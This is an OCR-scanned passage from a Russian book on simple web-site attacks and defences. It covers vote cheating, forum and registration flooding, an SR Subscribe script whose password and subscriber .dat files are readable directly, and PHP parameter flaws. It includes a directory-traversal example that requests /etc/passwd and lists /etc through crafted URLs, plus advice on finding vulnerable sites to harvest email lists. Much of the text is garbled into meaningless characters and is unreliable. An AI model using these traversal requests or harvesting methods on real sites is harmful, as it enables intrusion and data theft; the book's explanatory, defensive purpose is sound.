GROUP BY idUser, idGoods

Takum o6pa3om, MBI nonyynm B pedynbrarte Tabnuiy, B KOTOpoi 6yayT noka3aHbl
uaeHTH(HUKATOPbl TONb30BaTeNie W TOBapOB, M KOJHMYECTBO TrONOCOBaHHH 33
KaXAbIA TOBap. B pesynbTar nonadyT 3anHucH, B KOTOPBIX KONHYECTBO roloCcoOBa-
HUH umeer moboe 3HaueHHe. ECK BBl XOTHTE OrpaHHUYUTb pe3ysbTaT TONbKO TEMH
3anHCAMH, B KOTOPbIX €CTb HaKpyTKa (T. €. KOTH4ECTBO rojocoBaHuii 6onbiue 1),
TO 3anpoc AOMKEH ObITb NPUMEPHO ClIEAYIOLINM:

SELECT idUser, idGoods, count(*)

FROM TaGumaum

GROUP BY idUser, idGoods

HAVING count (*)>1

BoT Takum BOT 06pa3oM s BLIYHCIHA TeX, KTO nbiTancd o6MaHyTh MEHS BO BpemA
roIoCOBaHKA, K YOanun BCe JIKLIHKUE ronoca.

Hns Gonbiuedi 3¢pdhekTHBHOCTH MOXKHO coXpaHaTbh B Tabnuue 1 [P-anpeca, HO Hc-
noNb30BaTh 3Ty MH(OpMALMIO HEO0X0AHMO TONBKO, KaK CNpaBOYHYIO, Belb (O]
oaHum IP-anpecoM mMoxer paboTaTh COTHS, @ TO M ThiCAYa NONb30OBaTENEH.

Ecnu Bawa cucTrema ronocoBaHHH COCTOMT TO/IbKO M3 BblOOpa onpenesieHHOro
OTBETa Ha onpejeNeHHbIH BONpoc, TO HAeHTHU(HKaTOp ToOBapa HeoOXoaHUMO 3ame-
HUTb UAEHTU(PUKATOPOM BOMPOCa, Ha KOTOPbIH oTBeyaeT nocerutenb. Takum o6-
pa3oM, Ha Kaxxablil BONPOC NOb30BATENb CMOXKET OTBETHTb TOJIbKO OIHH pas.

2.2. dnyn

Ewe onHa aTaka — ¢ayn, koTopas COCTOMT B TOM, 4To Ha Web-caiiT ornpasnser-
cs Ooabluoe konuuyecTBO GeccMbICIeHHOH MH(pOopMauHK. DIya MOXHO NPOU3BO-
IAUTb NPOTHB TEX CLEHApHEB, KOTOpble MOTYT NONy4yaTh TEKCTOBYIO HH(pOpMaLHIO
H otobpaxkaTthb ece Ha Web-cTpanuue. K Takum cLieHapHaM OTHOCATCS:

O dopymb;

(J rocTeBbie KHHIH,

J yaTsl;

O ¢opMbl 06paTHO CBA3M;

O ¢opmbi, rae noNL30BaTENlb MOXET NPOCMOTPETH H OCTaBHTb CBOY KOMMEHTapHH.
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Kax npouncxonut diyn? Jlng aroro Ha dopMe JOMKHO OBITE Mone AN BBOAA TEKCTA,
Xakep BBOAHT HYXHBIH TEKCT, a flajiee OCHCTBUA NMPOHCXONAT MPHMEPHO TEM XK
METOJOM, YTO W MPH HAKPYTKe CUeT4YHKOB. B npuHuMne, HAKpyTKa CHETUHKOB —
370 TOXe (QNyH, TOABKO B JIaHHOM Cilydae Mbl paccmarpuBaeM GomOapaupoBKY
Web-cepsepa TexcToBoit HHOpMaUHeii, a He NepeKsouaTeNeM, KOTOPbIH HCMONb-
3yeTcsA MPH roNOCOBaHHH, H TYT €CTb CBOH HIOAHCHI.

[TporpaMMHCT MOXET Han1caTh CLieHapHii Wi nporpamMy, kotopas 6yner Gecko-
HE4YHO HanpaeaaTh HHPopMauuio Ha Web-cepeep, H 3anONHHTL Bauly Gazy RaH-
HBIX HNH OKHO uaTa GeccMbiciieHHbIMH coobuieHuaMu. [Ipobnema ycnoxHseres,
ecnn Web-cepsep Mo3BonseT OTNPaBIaAThL aHOHUMHbBIE COOOLIEHHA.

2.2.1. BombGapanpoBKa pernctpaumMamMmmu

®opym SMF (Simple Machines Forum, npocroii aABHXOK ¢opyma) MOXKHO OTHe-
CTH K HeOONBbLIMM W NpH 3TOM, obnagatoluM 60NbLIMM KOJIHYECTBOM BO3MOXKHO-
creit (puc. 2.1). OH He noab3yercs ocoboii nomynspHocThIO, ¥ npH 31oM B BugTraq
HHpOPMALMH O HeM MHHHMYM. MOJKeT NokasaThed, uTo $opym besonaceH, HO ITO
TOJILKO Ha NePBbli BIrAAA, B PEaNbHOCTH OH COACPIKUT CEPbE3HbIC YIYLLEHHS.

Puc. 2.1. ®opym SMF
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Bo3MOXKHO, €CTb U KpUTHYECKHE OLUMOKH, HO AN1A HX MOMCKa HeOOXOAUM cepbes-
Hblii aHanu3 koga. S npobexxanca Mo OCHOBHBIM OLUMOKAM M HUYEro He Haluen.
Bonee nmeranbHbii aHanuWs npoBOAUTH He CTaj, a Bedb OWUOKH BO3IMOXKHBI. [a,
¢$opyM MpOCT M CBOM 3ajauH peluaeT o4eHb Xopoiuo. Hanmpumep, oH conep)xuT
HHTEPECHYIO QYHKLIHIO, KOTOpas BbI3bIBAETCA B Ha4ajle KaXIOro cueHapus U npo-
BepAET BCE BXOAHbIE MapaMeTpbl HAa MPeaMET OMACHBIX AAHHbIX, BHE 3aBUCHMOCTH
OT TOro, OTKyna OHHM npuiuin. Ecnv Bac uHTEpecyer, TO 3TO (QyHKUMA
cleanRequest () B ¢aine Sources\QueryString.php.

[TepBoe, YTO MOXHO OTHECTH K JOCTATOYHO CEPbEe3HOMY YMYLLEHHIO: OTCYTCTBUE
TMOATBEPXACHHA NpU perucTpauuu. [lonb3oBaTento JOCTATOMHO BBECTH NPH peru-
CTpauUMH UMi, maponb W a06oii aapec anekTpoHHo#H mouThl. Tak Kak noaTeepxae-
HUS PErHCTPaLMK HET, TO O JOCTOBEPHOCTH TAKOTO agpeca MOXKHO 3a0biTh. Xakep
6e3 npobneM ykaXkeT nepBbie NONaBllxecs OaHHbie, U GOPYM BOCIIPUMET HX.

Cnenytowas npobiema cHOBa KPOETCA B PErUCTpalliy: HET HHKAKOH 3alUMThl OT
aBTOMaTU3UpOBaHHbIX cucTem. [locmoTpute Ha Takue ¢dopymbl, kak phpBB nau
Invision Power Board. B Hux npu pervcrpaunu nomumo uHdopmauuu o cebe He-
06X0AHMO BBECTH CEKPETHLIN KO, KOTOPbI reHepupyercs ciyualiHeiM obpasoMm.
Ecau 310T KOO He Oyner BBeaeH waH Oyner BBedeH HEBEPHO, TO perucTpauus oT-
KJIOHAETCH.

B SMF Ttakoro uer. Yem 310 rpo3ut? Mel Moxem 6Gez npobnem HanucaTth
HeGoNMbLIYIO MpOrpaMMKy, KoTopas Oyaer reHepHpoBaTh Cly4aiHbIM HNY flOCHE-
ooBaTeAbHbIM 00pa3oM HMeEHa MoAbL30BaTeneH, Napoab U aApec IMEKTPOHHOMN MoY-
Thbl U ABTOMATHYECKH PEryCTpUpOBATh NMOJL30BaTeNd Ha popyme, OTIIPaBKOIi BCero
0aHON koMauabl. Takas mporpaMMa IHILETCA BCEro 3a 4ac ¢ nepepbiBaMHu Ha KO-
de, a B pesynbrare yepes 4ac ee pabotn B 6aze maHHbIX Popyma Oyaer coTHS, a TO
H ThiCAY4a MYCOPHBIX 3anM1ceil o peructpaund. Takum obpa3om, MOXKHO 3adnynuThb
6a3y A0 TakoH CTereHH, YTO 3aKOH4ATCA BO3MOXKHbIE 3HAUYEHHA AN KAIOYEBOTo
Nosf, ¥ HOBbIE 3aMHCH AEralbHbIX 10JIb30BaTeNel NpHHUMAaTLCA He OyayT. Ilony-
uyuTca cBoeoOpa3zHas artaka oTkasa oT obcnyxusanus (DoS).

( ﬂpumeqanuej

Kctati, xody 3amMeTUTb, 4TO NOYEMY-TO 3awmTa oT nyaa coobuweHnamy peanuao-
BaHA NpaKTU4ECKU Beafe, a B8OT 3awmTbl OT dnyaa perucrpaumy B8 HoNbLIUHCTBE
dopymos HeT. Beibupasa ana csoero Web-caita opym, ybeautech, 4To npy perun-
cTpauuy Tpebyertca noaTeepXAEHWE NO 3NEKTPOHHOW NOYTE U eCTb BOIMOXHOCTb
B8B0OAA CEKPETHOro Koaa.

Uem 6onee npoctas GopMa perucTpaluu, TEM NPOLIE XaKepy 3aperdcTpHpoBaThCs
H MCMONB30BATh YYETHYIO 3alHCh A1 CBOMX NakocTel. Bbl J0MmKHBI MAKCHMAILHO
YCNOXKHUTB XHW3Hb B3noMuUiMka. C npyro#l CTOpOHBI, CAMILIKOM CJOXHas ¢dopma
Oyaer oTnyrusaTh 406ponopaao4HbIX Nonb3oBareneid. Hanpumep, s HUkor1a ne Syny



Mpocmbie Memodb! 83floMa 85

perucTpupoBaTbca Ha Web-caiiTe, eciu 3TOT npolecc OTHUMET Y MeHs Gonee nATH
MHHYT. MHe JkaKo cBoero BpeMeHH U Tpaduka.

W Bce ke, TakHe BewM, Kak 3alWTHLIA KOA W MOATBEPXKACHHE O 3NEKTPOHHOM
NOYTE, Y)Ke CTald CTAHZApTamH, MOJb30BAaTeNIH CMHPUAKCH © 3TUM. C apyroi
CTOPOHBI, Baaeabusl Web-caitTos monyuyunu OTAHWYHBIA cnocoG rapaHTUpOBaTH,
YTO aapec 3ACKTPOHHOH MOYTHl, KAK MHHHUMYM, ACHCTBHUTENbHbIH, a MOXeT ObiTh
JAaXe W HACTOAWMM, T. €. TOT, KOTOPbIM MOCETUTEND MOJb3YETCA KaKAbIH OeHb, a
HE TOJIbKO A1 PETUCTpaLdK Ha GopyMe.

MoxeTt nokasatbcs, 4TO, ycTaHoBHB BMecTo SMF npyroii He oueHb nomynapHbii
dopyM, Mbl U36EKUM onucaHHbIX HenpuaTHocTed. Ho ato He tak. [loaobHbiMK
npobnemamu crpagaer GONbIIMHCTBO MAaleHbKUX U HEMPUMETHBIX pa3paboTok.
OHH peanu30BLIBAIOT TOILKO OCHOBHbIE BO3MOXKHOCTH MO pabote ¢ 06MEHOM co-
obuieHHAMHU U 1o 6e3onacHoOCTH, 3abbiBasg O pa3HbIX MPHATHBIX MEAOUAX, KOTOPBIE
Heo6xoauMbI rob6omy Web-caiity. B manHom cayyae SMF npocto nonanca mue
MOA PYKY, U Ha ero mpumepe Mbl PacCMOTPENH THIIHYHbIE OLUKWOKK pa3paboTuu-
koB. HegasHo A cMoTpen ¢opym minibb, koTopslii Taloke He NoaTBEpXKAAN peru-
cTpauuy u obnagan TeMu xe npobiemam.

2.2.2. 3auimTa ot chnyaa

CyuiecTByeT MHOXKECTBO METOHOB 3alUMUThl OT Payna ¥ ayudiue Oyner, €Ciiv Bbl
peanusyere cpa3ly HECKOJbKO M3 HuX. JlaBaiiTe pacCMOTPHUM 3TH METOAMB, XOTH

KO€-YTO M3 3TOr0 Mbl y)K€ BHAENH, KOraa pacCMaTpUBaiy 3aLUMTY OT HAKpPYTKH
Bpazo. 2.2un 2.1

(0 pa3pewiaTh OCTaBAATb COOOLEHUA TONBLKO 3aperuCTPMPOBAHHBLIM I10Sb30BATE-
ASM, B ITOM CAYYae 3alUTHTLCA OT QUIyAa Mpollie, KaK W Npy HaKpyTKe;

O s3anpewats nojgyvedue coobuienuii ¢ ogHoro U toro xe IP-agpeca B TeueHHe
ONpeaeseHHOro BpeMeHy, Hanpumep, 20 cekyna. Takum o6pa3om, xakep cMo-
XeT MYCOPHTBL He 4allie OAHOro pasa B 20 cexyH;

(0 B HEKOTOPBIX CNy4asx MOAL3OBATEAbL MOXKET MUMETh BO3MOXHOCThL OTIIPABIATH
cpa3y HeCKOJbKO cooOueHHd noapaa, HO MOXKHO caenatbk OrpaHu4eHue, 4To
UX AOMKHO ObITh He 6osiee 5 B MHHYTY, € 110OBIM MPOMEKYTKOM BPEMEHH Me-
KAy cooblLeHuamMH. boabilie cpenHecTaTUCTHYECKHI TTOAL30BATENb PUIHUECKH
He YCMneeT Hamnucarh;

O ecnu Baw Web-caiiT goctato4Ho mocewaem W npusaska k IP-agpecy HeBo3-
MOXKHA, TO mpuaercsa npusasbiBaTbea k Cookies v coxpaHaTh WH(pOPMAUHIO
0 nmocneaHel oTnpaske coobuieHns B TakoM daiine;

0 sanpewats oaMHakoBbie coobuiedns. OT OQHOTO U TOro K€ NoAL3OBATENR HO
JOJDKHO MOCTYNaTh AByX abCOMOTHO OAHHAKOBLIX CoOOWWEHHI ¢ obbIM Npo-
MCXKYTKOM BPEMEHH. 3TO NPOCTO GECCMBICACHIIO.
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OTO OCHOBHbLIE METOABL, KOTOpbIE FIO3BOJIAT B&AM MOCTPOUTD MIPUEMIIEMYIO 0OOPOHY
ot ¢nyna. A 6ymer nu oHa gocTaTouHOM? 3aBUCHT OT TOro, KaK Bbl peayiM3yere
HacTpofiku. Hanpumep, ecnu caenatb TONbKO 3anpeT Ha OTHpaBKY 5 coobuieHui
B TeycHUe 10 cekyHlI, TO Xakep MOXeT HanpasisTh MakCHMYM 30 cooGuieHuit
B MUHYTY. A ec/id XakepoB OyAeT HECKONILKO WIH OUH, HO OH 6yneT oTnpaBiaTh
OIHO U TO e cooblieHHe Yepes pa3Hble AHOHUMHLIE IPOKCH-CepBeEpLI?

[Mpu npussaske k [P-aapecy He 3aObisaiTe, 4TO CywiecTBylOT GOsibllKE CETH,
MOJIb30BATENId KOTOPBIX BUAHbI U3 MHTepHera noa onuum IP-aapecom, xots pe-
anbHO B TaKOH ceTH MOXKeT ObITb ThicA4a WIH JaXKE NECATKH ThHICAY KOMIbIOTEPOB.
B sToMm cnyvae pabora mosib3oBarenel Takux cereif Ha BaiieM Web-caiite 6yaer
3aTpPyAHEHA, @ BOT Xakep Jierko oboiaeT nmpenarcTBUE ¢ MOMOLIbIO HECKOABKHX
AHOHUMHBIX NMPOKCH-CEPBEPOB.

Bo3morkHbl crenyioune aeiicTBUA XakepoB: coOpaTh COTHIO YENOBEK, KAXAbIA H3
KOTOPbIX CO CBOEro KoMnbiotepa co ceouM IP-aapecoM HauHET MOCLIAATL pa3ivy-
Hble COOOLEHHA. 3aUTHTECA OT TaKOH aTakK ¢ MOMOILLBIO ABTOMATH3HPOBAHHOMN
CHCTEMb] OYEHb CHOMKHO, OCOOEHHO, €C/H KaKAbii U3 y4yacTHHKOB He OyneT oT-
MpaBnaTh COOOLICHHUS CIULUKOM 4acTo. ,

B Takux cAyvasx OMOraeT TOAbKO NMOCTOAHHbIH MOHUTOPHHT. 3a ciy:x6aMu koM-
neiorepa ¥ Web-caliToM J0f)KeH IOCTOAHHO CNEAMTb YENIOBEK, KOTOpPbIA Oyaner
pearMpoBaTh Ha pacnpeneieHHble aTakH WiIH HECTAHAAPTHLIE IOMNbITKY Hapylle-
Hua 6e3omacHocTH. B cimyuae obHapy)KeHus aTaky Habao@aTenb AOMKEH MoMec-
TaTh [P-agpeca wnu 3apeructpupoBaHHbie Ha Web-caiite MMEHa aTakyloWMX
B clieUHanbHbIA cridcok, a Web-caiiT nomkeH UrHopuposath JiloObie 3anpochl OT
1NoNnb30BaTeNield U3 3TOrO CITHCKa.

He 3a6biBaiiTe, 4TO ecnu Bbl 3anpeTHTe AocTyn onpefeneHHomy IP-aapecy, To 3a
HHM MOJKET KPbITbCA HE ONMH M0JIb30BaTeNb, 8 MHOXKECTBO. MOXHO HCMOMB30BATH
napy IP-agpec matoc Cookies, Ho Cookies nerko yaansiorcs, no3ToMy HE ABAAIOT-
Cs HaACXKHbIM pellieHHeM. B uTore Mbl onaTh NPUXOAUM K TOMY, YTO cooOleHHs
OOMKHBI OCTaBAATH TOJALKO 3aperdCTPHpPOBaHHbLIE MOJL3OBATENH, WHAYE MBI YC-
noxHsaeMm cebe cucTemy 6e30MacHOCTH W yCIOXHAEM JKH3HBL N06ponopano4HbIM
nons3oBaTtenam Hawero Web-caiita.

2.3. OnacHasa nognucka Ha HOBOCTU

[TpocTas noanucka Ha HOBOCTH TOXE MOXET ObITh omacHOH. HenasHo mHe mona-
CA Ha IJlasa CLEeHapHii, KOTOpbIH no3sonser GLICTPO H MPOCTO CO34aTh MOAMUCKY
Ha HOBOCTH OT poccuiickoro asTopa. K coxanenuio, HMEHH aBTopa A He Haluer,
XOTA OH B JIMUEH3HOHHOM COI/TaLIeHHH MPOCHA He YAQIATL €r0 KONHPAKT ¢ noA-
Bana kaxaoil Web-cTpaHulbl, BUIUMO 3THM KONWpalTOM ABAAETCA Haanuch SR
Subscribe (puc. 2.2). Ecau Bam 3HakoMO 3TO Ha3BaHUE, H BBl TIE-TO YXKC HCIIO/b-
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3yeTe ONMUCHIBAEMBIH CLEHapHid, TO CNeayeT BLIMONHUTH HECKOAbKO TpeGoBaumil,
YTOGBI TMKBUAHPOBATH HECKONBKO MPOGIEMHBIX MECT.

Puc. 2.2. dopma noanucknm SR Subscribe

IepBoe, uTo Gpocaercsa B rnasa: cyllecTBoBaHWe nankd admin M HanWyue B HEH
6onbLioro koauyecTBo (ainos ¢ pacwvpenuem .dat. Yxxe no Ha3BaHHIO MOXKHO
Nerko AOHATb, [UIA YEro OHH HYXHBI:

O passwd.dat — coaepXHUT UMA aAMHHHCTpPATOpa U NapoJb;

O base.dat — Ga3a naHHbBIX C aApecaMH MEKTPOHHON NOYTHI NO/NbL30OBATENEH, KO-
TOpble MOANHCATUCHL Ha PacChIIKY HOBOCTEH;

O html.dat — copepxxumoe 3toro aitna ucnonelyercs B KauecTse wabnoHa no
yMON4YaHHIO Npu pacchiike B popmare HTML;

O txt.dat — comepxumoe 3Toro ¢aiina ucnonblyercs B KauecTse wWwabnoHa no
YMOJIHaHHUIO NPH PacChbUIKe B TEKCTOBOM (opmMare.

Camoe HHTEepECHOE, YTO HUKAKOI 3alUUTL! OT MPAMOro AOCTYMNa CO CTOPOHbLI NOMb-
qoBatens Her. Bul MoxkeTe U3 cBoero Opaysepa HabpaTb COOTBETCTBYIOLLHI anpec
W npocMorpeTh M0G0t W3 3Tux daiinoe. Jlns Hawana B3riAaHem Ha dain
passwd.dat. Ero conepxxumoe OyaeT NpUMEPHO CeNYIOIHM:

- ?php
trassword('flenov'] = "d8578edf8458cel6fbcSbb76a58c5¢cad”;

.
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Cpasy BHOMM HMA NONBL30BATENA, KOTOPOE HCMONB3YyeTCA Wi aAMHHUCTPHpOBa-
Hus: flenov. INocne 3Haka paBeHCcTBa MOXHO yBHIETH 3altMPOBaHHBIN Napofb.
Baiaro ero xots 3amugpoBanu, HO €CIH OH MPOCTOM, TO, MMed Xell, noaodparb
NMaposib MOXHO 38 HOUb.

Hanee base.dat. Ecnu ero otkpbiTh U3 6pay3epa, To Bbl YBUAHTE afpeca 3/eKTPOH-
HO# nouTel Bcex noamucunkos (puc. 2.3). Bor Tax BoT MOXHO nmonyuutsh Ga3sy
JaHHBIX /1S pacChiIkH cBoeit peknamel. Hekotopsie nogu mataT 6osbiive AeHb-
rH 3a nosiy4eHue 6a3 qaHHbIX pabounX anpecoB 3MEKTPOHHOM MOYTLI, a Bbl MOXETE
nony4uTs ee HGecnatHo, ecnu Haiinere ¢ momoublo Google Web-caiir, Ha koTo-
POM HCMONB3YETCA COOTBETCTBYIOLIHA CLeHapuii paccblikH. [ToMck MoKHO cae-
nath no HazsaHHio SR Subscribe.

Puc. 2.3. ba3a aaHHbIX aapecoa 3NeKTPOHHOW NOMTLI

Ecnu BBl Hauum coorBetcTBylownit Web-caiit, To nonpoGyiite nposepuTh Ha-
nuude aoctyna k ¢ainam 6a3pl maHHbIX U napond. Ecniv oHM He 3anpelueHb
¢ nomoulbto .htaccess, To BaM noseseT. Eciu Bbl camMu Mcnonbiyete noaoOHbIM
cueHapuii, To cieayeT no3aboTUTBCA O €ro 3ailiuTe, 3anpeTuB JOCTYil KO BCEM
dainam .dat.

3awuTute 6a3y aaHHbIX Y (ain naponeit MOXXHO AOCTATOYHO NpocTo H O€e3 BHece-
HUE B KOI M3MeHeHHH. MoxHo obpatuTihea k daiiny .htaccess, kotopbifi nnozponser
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yCTaHOBUTH npasa aoctyna. Co3palite B AUpeKTOpUM ¢ (aiinamu, K KOTOPLHIM He
OO/KHO 6bITh NpAMoOro goctyima, ¢aiin .htaccess co caenyloLUM COREPIKUMBIM:
Order Deny,Allow

Deny from all

Allow from 127.0.0.1

B 3tom npumMepe MbiI 3anpelaem ai06oi goctyn k daiiny yepes 6paysep ang Beex,
KpPOMe NIOKaNbHOTO KoMmnbioTepa. TakuM 0Opa3oM, xakep HE cMOXeT oOpaTHTLCH
HanpaMy1o K (aiiiam QUPEKTOPHH, AOCTYIT OTKPBIT TOALKO cleHapuaM Web-cepsepa.

Odenb uacto Ha Web-calitax 6biBaeT feHTa HOBOCTEH, CUEHapUil [UIa OTNpaBKH
coOoOLIeHUH aAMHHHUCTPATOPY U APYrye MporpaMMbi, KOTOPbIE TOMBKO MTOAKIIOUa-
10Tca K ApyruM Web-ctpannuaM. CueHapuii A€HTBLI HOBOCTEH O4€Hb 4acTo BKIIIO-
YyeH B rnaBHyl0 Web-cTpaHuLy, Hanpumep, ¢ NOMOLbIY PyHKUHH include. Bronxe
noruyHoO ybpath Bce ¢aitnbl, OTHOCALMECS K AGHTE, B OTAEALHYIO, 3aLUKLIEHHYIO
¢ nomMoubio .htaccess aupextopuio. Tak sam 6yaer ynobHo U 6onee crniokoiHo
ynpasaaTh Web-caiiToM, MOTOMY YTO BepOATHOCTb B3/IOMA Yepe3 3alUMILEHHbIE
CUEHAPHH PE3KO YMEHbIUAETCA.

[Tono6Hbie mpobsieMb! €CTb BO MHOXKECTBE CLlEHAPHEB MMOANUCKH/PAcChIAKH HOBO-
cteii. Hanpumep, nasaiite nocmotpum Ha cueHapuii MLM (puc. 2.4). OH oueHb
MPOCT B YCTAHOBKE — NOCTAaTOYHO TONILKO CO3[4aTh AHPEKTOPHIO, YCTAHOBUTH €M
npaea 707 (nonHbie npaBa Ang BnaAeAbla U OCTaNbLHLIX, Ipynne npasa Heoba3a-
TenbHbl). Tenepb 3amyckaem ¢aiin index.phtml u B popme BBOZA yKa3biBaeMm Ma-
ponb. [Ipu nepsom 3amycke Hy)KHO yka3aTb Napoiib, KOTOPbIHA Bbl XOTHTE HUCIIOAb-
30BaTb ANA aAMHHUCTpUpoBaHUA. MMeHHO ero HyxHO Oyaer BBOAMTHL MpH
CNeayoLeM 3anyckKe.

Camoe viHTEpeCHOE, 4TO B KA4ECTBE paciupeHus ans (ainos cueHapHeB UCMONb-
3yerca .phtml. ITo ymonuaHuio Web-cepeep He BCcerga MoxkeT BOCIIPHHUMATh 3TO
pacliMpeHHe B KauecTBe wucronHsemoro ansa uxvtepnperatopa PHP. Oaun pa3s
1 BUAEA, 4TO paciliipeHue (alnoB NpocTo nepedMeHoBalNK Ha .php U OTKOppeKTH-
poBaN¥ KO, NPU 3TOM aaMuHHcTpaTop 3a0bul nepevMeHoBaTh ¢aitn setup.phtml,
rne Haxoawics napoib. ECAM Bbl CTOAKHYAHCh C TAKOH K€ CUTyallHeH, To nepe-
HMeHYHTe pacwupenue gcex daiinos Ha .php.

ba3za paHHbBIX B AaHHOW nporpamMme crnpaTada aocTaTo4Ho yaauHo. B dafine
sctup/setup.phtml HaxoaaTcsa Tpu napameTpa:

$lists = "447b183c81£84";

Slistadmin = "447b183c8274f";

Sbackup = "447b183c8274f";

| lcpsuiit napameTp kak pa3 ¥ ONpeacAseT noaoxkeHde Nankd U daiina ¢ TakuM
uMclcM, rAc hlaxoautcs ©Oa3a  jgaHHbIX paccbuikv. FEcnu  ¢abn  nactpoek
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setup/setup.phtml Bocnpuuumaerca Web-cepBepoM kak ucnonHsemsblid, To npo-
CMOTp ero CTaHOBHUTCA NMpobiieMaTHUYHBIM K XaKep He CMOXeET y3HaTb, Fie Haxo-

aurcs baza.

B

Puc. 2.4. Paccbinka Hosoctern MLM



'naBa 3

B3anom PHP-cueHapues

OaHuUM U3 cambiX MOMYJAPHLIX A3LIKOB MPOrpaMMHUpPOBaHKUA s Web Ha maHHbif
mMoMeHT aBiserca PHP, u on nocrenenHo Habupaert ewe 66abiiy10 MOMyASPHOCT.
B 3Toii rnaBe MbI MOroBOpUM o Haubosee uYacTO BCTpeHaeMbIX YA3BHMOCTAX
B PHP-cuenapusax U paccMOoTpHUM, Kak paspabotuukn Web-caliToB MOryT HX u3-
6exaTs.

CambiM Ge3onacHbiM aBnsercs Web-caift cosmanubiii Ha ocHose HTML unu oc-
HOBAHHbI HA CEPBEPHOM f3blke mporpaMmHpoBaHus (Server Side), koTopuiii He
NpUHHUMaET mnapaMeTpoB. MIMEHHO mapameTpbl, KOTOpbi€ MNOAYYAIOT CLEHAPHH,
O4eHb YacTo ABMAIOTCA MOTEHLUMANILHBIM HCTOUYHUKOM OlMbkH. Xakep MOXeT cdop-
MHPOBaTh Onpene/ieHHbIM 06pa3oM 3anpoc U ecid cueHapHii HesepHO o6pabaThk-
BaeT MOJTyYCHHBIC MMapaMeTpbl HAH [IPOCTO HE MPOBEPAET UX HA KOPPEKTHOCTb, TO
XaKep MOXET MOBLICHTH CBOH TIPUBHIIETHH, YTO TNIOApa3yMeEBaeT:

0O BBITOSHEHHE KOMaHA HA CEPBEPE, TAKUX KaK NPOCMOTP, KOMMMPOBaHHE U yaane-
HUe (aiinos;

O sbiOSIHEHHE TNpOH3BOABHBIX SQL-3anpocoB, KOTOpbie NO3BONAT YNpPaBAThH
6a30i1 naHHbIX, eCny cuEHApHIi HcnonblyeT 6a3bl AaHHBIX AN GOPMUPOBAHUS
Web-cTpauuu,

o He cTouT 3a6bIBaTh, UTO NMPOGIEMHBIM MECTOM CLEHAPHS MOXKET OBITh HE TOJIb-
KO fapaMeTrp, KoTopbli fBHO nepenaercsa uepes cTpoky URL, HO u dalinbl
Cookies. B takux ¢aiinax cueHapuu MOryT COXPaHATb ONpeae/eHHble 3HAYCHHUA,
KOTOpBIE MpOorpamMma MOKET MCIIONb30BaTh MPHU nepexone noab3opatens Kk Web-
crpanvue. OHU aBTOMAaTH4YeCKW nepenatoTca Ha Web-caiiT, KOTOpbIHi MOXeT BH-
Jietb conepxkumoe Cookies. 3naueHus u3s 3roro ¢aiina MOryT ObITh BUAHBI CLIEHA-
PUIO KaK ApOCTbie MEepeMeHHbIe AU Kak MaccuB. [Toayyaetcs, 4To B 11EKOTOPLIX
cliyyasx, eciu cneldanbHbiM 06pasom nmoakoppektupoBaTe Cookies, TakuMm ofpa-
'lOM MOJYKHO [TO/INATh YPOBEHb CBOUX NpUBHACTHi!
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HekoTopbie u3 3THX npobaemMHbIX MecT Mbl OyAieM paccMaTpyBaTh B JaHHOMH ria-
BE, a TAKUM oluuOkam, kak SQL-unbekuus U pabota ¢ CHCTEMOIA, Mbl YAC/IHM BHH-
MaHHE B NOC/EAYIOIHUX I'1aBaX JAHHON KHUI'M.

3.1. HeBepHoe obpalyeHue k hannam

Hcropus, koTopyio 1 cefiyac pacckaxy, OYEHb XOpOLLO MNOOXOAUT MO TEMY AaH-
HOH rnaBsb! H XOPOLIO WUIOCTpUpYET NpobneMHbIE MeCTa I1apaMeTpoB, KOTOpbie
nepenaroTcs cepBepHOMY cueHapuio. HenaBHO A HaTkHynca Ha ogdH Web-caliT
(He 6yaeM YTOYHATb €ro Ha3BaHHWe), HA KOTOPOM 3awuTa Obisia faneka oT uneana.
Jlio6oii xakep, ysuaes, kak dopmupyerca URL Ha atom Web-caiire, cpasy HauHeT
KonaTh Myb)ke U CMOXXeT MoAy4YMTh HeorpaHHueHHsle npasa poctyna. [locMot-
PHM Ha JOMYLUEHHbIE OLUHOKH, YTOOBI HE MOBTOPUTH HX B CBOHUX MPOEKTAX.

3.1.1. MNpumep peanbHoON OWNOKK

B paccmarpusaembix npuMepax peanbHoe MMa Web-caiita Gyner 3amMeHeHO Ha
sitename.domain no npock6e ero snagenbues. [loMUmMo 3TOTO 4 OTNPaBHI pa3pa-
60TYMKAM NMHCBMO C OMHCAHHEM OLIHOKH M, Ha CKOJBKO MHE M3BECTHO, orubka
y>Ke UCMpaBJieHa.

Hrak, URL Ha Web-calite <¢opmuposancs creayowum  obpasom:
http://www.sitename.domain/index.php?dir=xaranor&file=¢aiin. B napamer-
pe dir mepeaaeTca UMA JUPEKTOPUH, U3 KOTOPOH HyXHO MpouHTaTh Qain, a yepes
napamerp file nepenaerca uma daitna. Mue cpaly Xe CTano HHTEPECHO, YTO ITO-
Ay4UTCH, €C/IM B KadecTse UMeHH ¢aiina nepenars yro-HUbyAb Bpoae /etc/passwd
(daiin, B kotopom UNIX-cepsepnl xpaHaT CrIUCKH mosib3oBateneii). B oTseT 4 no-
ayuua coobuienue: " kto Tebs npocun ato aenatb?" OueHb xopoiuo, paspabor-
YHKH SBHO IIPedyCMOTPEIH BO3MOXKHBIE aTakKH U OCTPOYMHO coobuiunu MHe, 410
1, MATKO TOBOpA, HE TYAa MoJies.

Torpa 2 BMecTO HMeHH (aiisia MOCTABUA TOUKY, YTO YKa3biBaeT HA TEKYLUYIO AU-
pektopyio. Ha 3ToT pa3 s yBuaen B okHe Opay3epa CnHCOk (ainoB, HaXOAALHXCA
B IUPEKTOPHH, YKa3aHHOM B KauecTBe napamerpa dir. Buaumo, pazpaboTuuku
UCIONBL30BaNK GUNLTP, KOTOPLIA 3anpellan nepeAasaThb B KauecTBe napamerpa
cumBoa "/", HO oAMHOYHAA To4YKa He nposepsanack. Henw3s 3anpeTuTh TOYKY BO-
obue, Beab uMeHa (alaoB O4eHb YacTO COAEPXKAT TOUKY AN OTAEC/IEHHUA HMEHH
daiina OT pacuIMpeHus, HO OJHHOUYHYIO TOUKY MPOBEPATL HeobxoanMMO: Qaiis, UM
KOTOPOTO COCTOMT TONILKO M3 TOYKH, CO3[aTh HEPEaNlLHO.

Ho o5to ewe He Bce. S rnonbiTancs BbIMONHWTL CAEAYIOMMA 3ampoc:
http://www.sitename.domain/index.php?dir=/etc&file=.. B kauecrnc sipekro-
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puH yka3zaHa cuctemHas nanka UNIX, a Bmecto ¢afina cTOMT TONMBKO TOuYKA.
B oTBET Ha 3TO A YBULEN MTONHOE CONEPIKUMOE IHPEKTOPHH /etC.

Hy uto ke, nonpobyem npocMoTpeTh kakoii-Hubyab ¢aiin B 310l AMpEKTOpHH,
